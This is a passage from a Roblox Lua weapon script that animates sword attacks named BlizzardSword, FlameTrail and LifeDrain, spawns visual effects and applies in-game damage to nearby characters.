  8563. shell.Parent = nil
  8564. end))
  8565. end
  8566. for zz = 1 , 1 do
  8567. local mesh = Instance.new("SpecialMesh")
  8568. mesh.MeshType = "Sphere"
  8569. mesh.Scale = Vector3.new(20,15,10) * Vector3.new(0.01,0.01,0.01)
  8570. local shell = Instance.new("Part")
  8571. mesh.Parent = shell
  8572. shell.Anchored = true
  8573. shell.formFactor = 1
  8574. shell.Size = Vector3.new(1,1,1)
  8575. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 10
  8576. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
  8577. shell.Parent = swordholder
  8578. shell.Transparency = 0
  8579. shell.BrickColor = BrickColor.new("Bright violet")
  8580. shell.CanCollide = false
  8581. coroutine.resume(coroutine.create(function()
  8582. for i = 0 , 1 , 0.02 do
  8583. wait()
  8584. mesh.Scale = Vector3.new(10,15,15) * Vector3.new(i,1,i)
  8585. shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
  8586. shell.Transparency = 1-1*i
  8587. end
  8588. for i = 0 , 1 , 0.05 do
  8589. wait()
  8590. shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0)
  8591. shell.Transparency = 1*i
  8592. end
  8593. shell.Transparency = 1
  8594. shell.Parent = nil
  8595. end))
  8596. end
  8597. for zz = 1 , 1 do
  8598. local mesh = Instance.new("CylinderMesh")
  8599. mesh.Scale = Vector3.new(20,0.5,10) * Vector3.new(0.01,0.01,0.01)
  8600. local shell = Instance.new("Part")
  8601. mesh.Parent = shell
  8602. shell.Anchored = true
  8603. shell.formFactor = 1
  8604. shell.Size = Vector3.new(1,1,1)
  8605. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * -0.5
  8606. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0)
  8607. shell.Parent = swordholder
  8608. shell.Transparency = 0
  8609. shell.BrickColor = BrickColor.new("Bright violet")
  8610. shell.CanCollide = false
  8611. coroutine.resume(coroutine.create(function()
  8612. for i = 0 , 1 , 0.02 do
  8613. wait()
  8614. mesh.Scale = Vector3.new(20,0.5,20) * Vector3.new(i,1,i)
  8615. shell.Transparency = 1-1*i
  8616. end
  8617. for i = 0 , 1 , 0.02 do
  8618. wait()
  8619. shell.Transparency = 1*i
  8620. end
  8621. shell.Transparency = 1
  8622. shell.Parent = nil
  8623. end))
  8624. end
  8625. for zz = 1 , 10  do
  8626. local mesh = Instance.new("SpecialMesh")
  8627. mesh.MeshType = "FileMesh"
  8628. mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  8629. mesh.Scale = Vector3.new(5,5,5) * Vector3.new(0.01,0.01,0.01)
  8630. local shell = Instance.new("Part")
  8631. mesh.Parent = shell
  8632. shell.Anchored = true
  8633. shell.formFactor = 1
  8634. shell.Size = Vector3.new(1,1,1)
  8635. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)
  8636. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90)+2*math.random(),2*math.random(),2*math.random())
  8637. shell.Parent = swordholder
  8638. shell.Transparency = 0
  8639. if math.fmod(zz,2) == 0 then
  8640. shell.BrickColor = BrickColor.new("Really black")
  8641. else
  8642. shell.BrickColor = BrickColor.new("Bright violet")
  8643. end
  8644. shell.CanCollide = false
  8645. coroutine.resume(coroutine.create(function()
  8646. for i = 0 , 1 , 0.01 do
  8647. wait()
  8648. mesh.Scale = Vector3.new(25,25,25) * Vector3.new(i,i,i)
  8649. shell.Transparency = 1*i
  8650. end
  8651. shell.Transparency = 1
  8652. shell.Parent = nil
  8653. end))
  8654. end
  8655. coroutine.resume(coroutine.create(function()
  8656. effectsg.Transparency = 1
  8657. for i = 0 , 1 , 0.1 do
  8658. wait()
  8659. effectsg.Transparency = 1-1*i
  8660. end
  8661. wait(2)
  8662. for i = 0 , 1 , 0.1 do
  8663. wait()
  8664. effectsg.Transparency = 1*i
  8665. end
  8666. effectsg.Parent = nil
  8667. end))
  8668. local mg = 100
  8669. if Hit ~= nil then
  8670. mg = (point0-point1).magnitude
  8671. elseif Hit == nil then
  8672. mg = 100
  8673. end
  8674. ls(Head,0.5)
  8675. ls(Head,0.75)
  8676. cs(Head,0.25)
  8677. ls(Head,1)
  8678. ls(Head,3)
  8679. cs(Head,0.15)
  8680. for mgg = 0 , 1,0.1 do
  8681. wait()
  8682. effectsg.Size = Vector3.new(5,(mg*mgg)+0.2,5)
  8683. local durr = CFrame.new((point0+(point1))/2,(point1))
  8684. effectsg.CFrame = CFrame.new((point0+(point1-durr.lookVector * (mg*(1-mgg))))/2,(point1)) * CFrame.Angles(math.rad(90),0,0)
  8685. end
  8686. local critrandomizer = math.random(1,crtrate)
  8687. if critrandomizer ~= 1 then
  8688. local rndmdamage = math.random(mindamage+30,maxdamage+30)
  8689. AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,false)
  8690. elseif critrandomizer == 1 then
  8691. local rndmdamage = math.random(maxdamage+30,crtmaxdamage+30)
  8692. AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,true)
  8693. end
  8694. bp.Parent = nil
  8695.  for i = 0 , 1 , 0.1 do
  8696.                 wait()
  8697.   RW.C0 = CFrame.new(1,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(90-45*i), math.rad(-45))
  8698.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8699.   LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45*i),math.rad(45))
  8700. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8701. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  8702.  RWL.C0 = CFrame.new(1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8703.  LWL.C0 = CFrame.new(-1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8704.  prt8.Transparency = 1*i
  8705.     end
  8706.   for ii = 1 , #AoETrue do
  8707.   table.remove(AoETrue,#AoETrue)
  8708.   end
  8709. RWLRem()
  8710. LWLRem()
  8711. attack = false
  8712. attacktype = 1
  8713. end
  8714. function BlizzardSword()
  8715. attack=true
  8716.  for i = 0 , 1 , 0.2 do
  8717.                 wait()
  8718.   RW.C0 = CFrame.new(1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45))
  8719.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8720.   LW.C0 = CFrame.new(-1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i),math.rad(-45+45*i),math.rad(45))
  8721.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8722.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  8723.     end
  8724.  local wssave = Character.Humanoid.WalkSpeed
  8725.  Character.Humanoid.WalkSpeed = 0
  8726.  ss(Head,1.5)
  8727.  local efftab = {}
  8728.  for i = 0 , 1 , 0.2 do
  8729.    LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8730.                 wait()
  8731.   RW.C0 = CFrame.new(1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i), math.rad(0), math.rad(-45))
  8732.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8733.   LW.C0 = CFrame.new(-1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i),math.rad(0),math.rad(45))
  8734.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8735.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45)) * CFrame.new(0, 0, 0.2)
  8736.   local eff = effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8737.   table.insert(efftab,eff)
  8738.     end
  8739. local trspos = Torso.Position
  8740.  Character.Humanoid.WalkSpeed = wssave
  8741.  for _,efff in pairs(efftab) do
  8742.  wait()
  8743.  coroutine.resume(coroutine.create(function()
  8744.  for i = 0 , 1 , 0.15 do
  8745.  wait()
  8746.  efff.Transparency = 1*i
  8747.  end
  8748.  wait()
  8749.  efff.Transparency = 1
  8750.  end))
  8751.  end
  8752.  for io,eff in pairs(efftab) do
  8753.  wait()
  8754. for zz = 1 , 1 do
  8755. local mesh = Instance.new("CylinderMesh")
  8756. mesh.Scale = Vector3.new(0.1,0.5,0.1)
  8757. local shell = Instance.new("Part")
  8758. mesh.Parent = shell
  8759. shell.Anchored = true
  8760. shell.formFactor = 1
  8761. shell.Size = Vector3.new(1,1,1)
  8762. local dur = CFrame.new(trspos,eff.Position)
  8763. local CF1 = dur * CFrame.Angles(math.rad(90),0,0) * CFrame.new(0,-6,0)
  8764. shell.CFrame = CF1
  8765. shell.Parent = eff
  8766. shell.Transparency = 1
  8767. shell.Reflectance = 0.25
  8768. shell.BrickColor = BrickColor.new("Bright blue")
  8769. shell.CanCollide = false
  8770. is(shell,0.5)
  8771.  coroutine.resume(coroutine.create(function()
  8772.  for i = 0 , 1 , 0.1 do
  8773.  wait()
  8774.  shell.Transparency = 1-1*i
  8775.  mesh.Scale = Vector3.new(0.1+4.9*i,0.5,0.1+4.9*i)
  8776.  end
  8777.  wait(0.25)
  8778.  for i = 0 , 1 , 0.1 do
  8779.  wait()
  8780.  shell.Transparency = 1*i
  8781.  mesh.Scale = Vector3.new(5-5*i,0.5-0.5*i,5-5*i)
  8782.  end
  8783.  shell.Parent = nil
  8784.  end))
  8785. end
  8786. end
  8787.  for io,eff in pairs(efftab) do
  8788.  wait()
  8789. for zz = 1 , 1 do
  8790. local mesh = Instance.new("SpecialMesh")
  8791. mesh.MeshType = "FileMesh"
  8792. mesh.Scale = Vector3.new(5,2,1)
  8793. mesh.MeshId = "rbxasset://fonts/sword.mesh"
  8794. local shell = Instance.new("Part")
  8795. mesh.Parent = shell
  8796. shell.Anchored = true
  8797. shell.formFactor = 1
  8798. shell.Size = Vector3.new(2,2,5)
  8799. local dur = CFrame.new(trspos,eff.Position)
  8800. local CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5)* CFrame.Angles(0,0,math.rad(90))
  8801. shell.CFrame = CF1
  8802. shell.Parent = eff
  8803. shell.Transparency = 1
  8804. shell.Reflectance = 0.25
  8805. shell.BrickColor = BrickColor.new("Bright blue")
  8806. shell.CanCollide = false
  8807. local hitd = 0
  8808. coroutine.resume(coroutine.create(function()
  8809. local dd = false
  8810. while shell.Parent ~= nil and not dd do
  8811. wait()
  8812. local c = game.Workspace:GetChildren();
  8813. for i = 1, #c do
  8814. local hum = c[i]:findFirstChild("Humanoid")
  8815. if hum ~= nil and hum.Health ~= 0 then
  8816. local head = c[i]:findFirstChild("Torso");
  8817. if head ~= nil then
  8818. local targ = head.Position - shell.Position;
  8819. local mag = targ.magnitude;
  8820. if mag <= 3 and c[i].Name ~= Player.Name then
  8821. dd = true
  8822. local critrandomizer = math.random(1,crtrate)
  8823. if critrandomizer ~= 1 then
  8824. local rndmdamage = math.random(mindamage+iceboost,maxdamage+iceboost)
  8825. damagesplat(rndmdamage,head,false)
  8826. hum:TakeDamage(rndmdamage)
  8827. elseif critrandomizer == 1 then
  8828. local rndmdamage = math.random(maxdamage+iceboost,crtmaxdamage+iceboost)
  8829. damagesplat(rndmdamage,head,true)
  8830. hum:TakeDamage(rndmdamage)
  8831. end
  8832. end
  8833. end
  8834. end
  8835. end
  8836. end
  8837. end))
  8838.  coroutine.resume(coroutine.create(function()
  8839.  uss(eff,1)
  8840.  
  8841.  for i = 0 , 1 , 0.1 do
  8842.  wait()
  8843.  shell.Transparency = 1-1*i
  8844. CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5+2*i)* CFrame.Angles(0,0,math.rad(90))
  8845.  shell.CFrame = CF1
  8846.  mesh.Scale = Vector3.new(5,2,1+0.5*i)
  8847.  end
  8848.  wait(0.25)
  8849.  ss(eff,2)
  8850.  for i = 0 , 1 , 0.1 do
  8851.  wait()
  8852.  shell.Transparency = 1*i
  8853. CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,8.5+25*i)* CFrame.Angles(0,0,math.rad(90))
  8854.  shell.CFrame = CF1
  8855.  mesh.Scale = Vector3.new(5-5*i,2-2*i,1.5-1.5*i*i)
  8856.  end
  8857.  shell.Parent = nil
  8858.  end))
  8859. end
  8860. end
  8861.  coroutine.resume(coroutine.create(function()
  8862.  wait(1.5)
  8863.  for _,eff in pairs(efftab) do
  8864.  wait()
  8865.  eff.Parent = nil
  8866.  end end))
  8867.  for i = 0 , 1 , 0.1 do
  8868.                 wait()
  8869.   RW.C0 = CFrame.new(1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i), math.rad(45*i), math.rad(-45))
  8870.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8871.   LW.C0 = CFrame.new(-1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45))
  8872.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8873.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  8874.     end
  8875.  attack=false
  8876. end
  8877. local FTCount = 0
  8878. function FlameTrail()
  8879. attack=true
  8880.  for i = 0 , 1 , 0.15 do
  8881.                 wait()
  8882.   RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+55*i))
  8883.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(0), math.rad(0))
  8884.   LW.C0 = CFrame.new(-1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45+20*i))
  8885.      end
  8886.  wait(0.1)
  8887.  ss(Head,1.5)
  8888.  fs(Head,0.5+1.5*math.random())
  8889.  local efftab = {}
  8890.   RW.C0 = CFrame.new(0.5,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
  8891.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(0), math.rad(0))
  8892.   LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(65))
  8893.  dmgcnnct(hitbox)
  8894.  for i = 0 , 1 , 0.15 do
  8895.   LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8896.                 wait()
  8897.   RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10))
  8898.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i*i), math.rad(0), math.rad(0))
  8899.   LW.C0 = CFrame.new(-0.5-1*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+20*i),math.rad(-45),math.rad(65-155*i))
  8900.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8901.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8902.   if FTCount <= MaxFT then
  8903.   local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8904.   eff.Transparency = 1
  8905.   table.insert(efftab,eff)
  8906.   FTCount = FTCount + 1
  8907.   OTND(eff)
  8908.  coroutine.resume(coroutine.create(function()
  8909.  for i = 0 , 1 , 0.15 do
  8910.  wait()
  8911.  eff.Transparency = 1-0.5*i
  8912.  end
  8913.  wait()
  8914.  eff.Transparency = 0.5
  8915.  end))
  8916.  end
  8917.      end
  8918.  local rndmneg = math.random(1,2)
  8919.  if rndmneg == 1 then
  8920.  rndmdec1 = 13 * math.random()
  8921.  else
  8922.  rndmdec1 = -13 * math.random()
  8923.  end
  8924.  for i = 0 , 1 , 0.1 do
  8925.                 wait()
  8926.   RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1*i), math.rad(90), math.rad(10-(rndmdec1*2)*i))
  8927.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(0), math.rad(0))
  8928.   LW.C0 = CFrame.new(-1.5,0.5,-0) * CFrame.fromEulerAnglesXYZ(math.rad(100),math.rad(-45),math.rad(-90))
  8929.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8930.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8931.      end
  8932.  ss(Head,1.5)
  8933.  fs(Head,0.5+1.5*math.random())
  8934.  Hitdeb = 0
  8935.  for i = 0 , 1 , 0.15 do
  8936.   LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8937.                 wait()
  8938.   RW.C0 = CFrame.new(1.5-1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1), math.rad(90), math.rad(10-(rndmdec1*2)))
  8939.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-200*i), math.rad(0), math.rad(0))
  8940.   LW.C0 = CFrame.new(-1.5+1*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(100-80*i),math.rad(-45),math.rad(-90+135*i))
  8941.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8942.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8943.   if FTCount <= MaxFT then
  8944.   local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8945.   eff.Transparency = 1
  8946.   table.insert(efftab,eff)
  8947.   FTCount = FTCount + 1
  8948.   OTND(eff)
  8949.  coroutine.resume(coroutine.create(function()
  8950.  for i = 0 , 1 , 0.15 do
  8951.  wait()
  8952.  eff.Transparency = 1-0.5*i
  8953.  end
  8954.  wait()
  8955.  eff.Transparency = 0.5
  8956.  end))
  8957.  end
  8958.      end
  8959.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8960.  for i = 0 , 1 , 0.2 do
  8961.                 wait()
  8962.   local rndmd = rndmdec1-rndmdec1*i
  8963.   RW.C0 = CFrame.new(0,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad((90-rndmd)), math.rad(90), math.rad((10-(rndmd*2))-20*i))
  8964.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-90-10*i), math.rad(0), math.rad(0))
  8965.   LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  8966.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8967.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  8968.   end
  8969.  for i = 0 , 1 , 0.1 do
  8970.                 wait()
  8971.   RW.C0 = CFrame.new(1*i,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90-20*i), math.rad(90-90*i), math.rad(-10-35*i))
  8972.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-100+100*i), math.rad(0), math.rad(0))
  8973.   LW.C0 = CFrame.new(-0.5-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-10*i),math.rad(-45+45*i),math.rad(45))
  8974.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8975.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  8976.   end
  8977.  ss(Head,1.5)
  8978.  fs(Head,0.5+1.5*math.random())
  8979.  wait(0.1)
  8980.  Hitdeb = 0
  8981.  for i = 0 , 1 , 0.2 do
  8982.   LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8983.                 wait()
  8984.   RW.C0 = CFrame.new(1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i), math.rad(0), math.rad(-45))
  8985.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8986.   LW.C0 = CFrame.new(-1,0.5+1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(70+65*i),math.rad(0),math.rad(45))
  8987.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  8988.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
  8989.   if FTCount <= MaxFT then
  8990.   local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
  8991.   eff.Transparency = 1
  8992.   table.insert(efftab,eff)
  8993.   FTCount = FTCount + 1
  8994.   OTND(eff)
  8995.  coroutine.resume(coroutine.create(function()
  8996.  for i = 0 , 1 , 0.15 do
  8997.  wait()
  8998.  eff.Transparency = 1-0.5*i
  8999.  end
  9000.  wait()
  9001.  eff.Transparency = 0.5
  9002.  end))
  9003.  end
  9004.   end
  9005.  coroutine.resume(coroutine.create(function()
  9006.  wait(5)
  9007.  for _,eff in pairs(efftab) do
  9008.  wait()
  9009.  eff.Parent = nil
  9010.  FTCount = FTCount - 1
  9011.  end end))
  9012.  for i = 0 , 1 , 0.1 do
  9013.                 wait()
  9014.   RW.C0 = CFrame.new(1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i), math.rad(45*i), math.rad(-45))
  9015.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9016.   LW.C0 = CFrame.new(-1,1.5-1*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-55*i),math.rad(-45*i),math.rad(45))
  9017.   w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0)
  9018.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2)
  9019.    end
  9020.  dmgdc()
  9021.  attack=false
  9022. end
  9023.  
  9024.  
  9025. function LifeDrain()
  9026. attack=true
  9027.  for i = 0 , 1 , 0.1 do
  9028.                 wait()
  9029.   RW.C0 = CFrame.new(1,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45), math.rad(-45+90*i))
  9030.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
  9031.   LW.C0 = CFrame.new(-1+1.25*i,0.5+0.25*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+25*i),math.rad(-45+90*i),math.rad(45+25*i))
  9032.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90*i), math.rad(0))
  9033.   w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
  9034.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9035.      end
  9036. ------
  9037. local nrmag = 50
  9038. local nrprsn = nil
  9039. wait()
  9040. --
  9041. local c = game.Workspace:GetChildren();
  9042. for i = 1, #c do
  9043. local hum = c[i]:findFirstChild("Humanoid")
  9044. if hum ~= nil and hum.Health ~= 0 then
  9045. local head = c[i]:findFirstChild("Torso");
  9046. if head ~= nil then
  9047. local targ = head.Position - Torso.Position;
  9048. local mag = targ.magnitude;
  9049. if mag <= 50 and c[i].Name ~= Player.Name then
  9050. if mag < nrmag then
  9051. nrmag = mag
  9052. nrprsn = c[i]
  9053. end
  9054. end end end end
  9055. --
  9056. if nrprsn == nil then
  9057. attack = false    
  9058. return end
  9059. local C = 0
  9060. local bp = Instance.new("BodyPosition")
  9061. local bg = Instance.new("BodyGyro")
  9062. bp.Parent = Torso
  9063. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  9064. bp.P = bp.P + 10000
  9065. local CF = nrprsn.Torso.CFrame
  9066. bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * -3
  9067. bg.Parent = Torso
  9068. bg.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  9069. bg.P = bg.P + 100000
  9070. bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(0),0,0)
  9071. ss(Head,2)
  9072. wait(0.1)
  9073. local FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9074. local LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9075.  for i = 0 , 1 , 0.2 do
  9076.                 wait()
  9077.   C = C + 1
  9078.   RW.C0 = CFrame.new(1-1*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(135-90*i), math.rad(45), math.rad(45-135*i))
  9079.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
  9080.   LW.C0 = CFrame.new(0.25-1.75*i,0.75-0.25*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(105-60*i),math.rad(45),math.rad(70-125*i))
  9081.   LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(90), math.rad(0))
  9082.   w1.C1 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0, 0) * CFrame.new(0, 0,0)
  9083.   w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9084.   if C == 3 then
  9085.   bp.P = bp.P + 10000
  9086. bp.position = CF.p + CFrame.new(Torso.Position,CF.p).lookVector * 6
  9087. bg.cframe = CFrame.new(Torso.Position,CF.p) * CFrame.Angles(math.rad(-45),0,0)
  9088.   end
  9089.   if C == 2 then
  9090.   FirstP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9091.   elseif C == 5 then
  9092.   LastP = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  9093.   end
  9094.      end
  9095. local effectsmsh = Instance.new("SpecialMesh")
  9096. effectsmsh.Scale = Vector3.new(5,1,5)
  9097. effectsmsh.MeshType = "Sphere"
  9098. local effectsg = Instance.new("Part")
  9099. effectsg.formFactor = 3
  9100. effectsg.CanCollide = false
  9101. effectsg.Name = "Eff"
  9102. effectsg.Locked = true
  9103. effectsg.Anchored = true
  9104. effectsg.Size = Vector3.new(0.2,1,0.2)
  9105. effectsg.Parent = swordholder
  9106. effectsmsh.Parent = effectsg
  9107. effectsg.BrickColor = BrickColor.new("White")
  9108. effectsg.Reflectance = Ref
  9109. local point1 = FirstP
  9110. local LP = LastP
  9111. local mg = (LP.p - point1.p).magnitude
  9112. effectsg.Size = Vector3.new(0.2,mg,0.2)
  9113. effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
  9114. if returnn then return effectsg end
  9115. coroutine.resume(coroutine.create(function()
  9116. if not returnn then
  9117. for i = 0 , 1 , 0.1 do
  9118. wait()
  9119. effectsg.Transparency = 1*i
  9120. end
  9121. wait()
  9122. effectsg.Parent = nil
  9123. end
  9124. end))
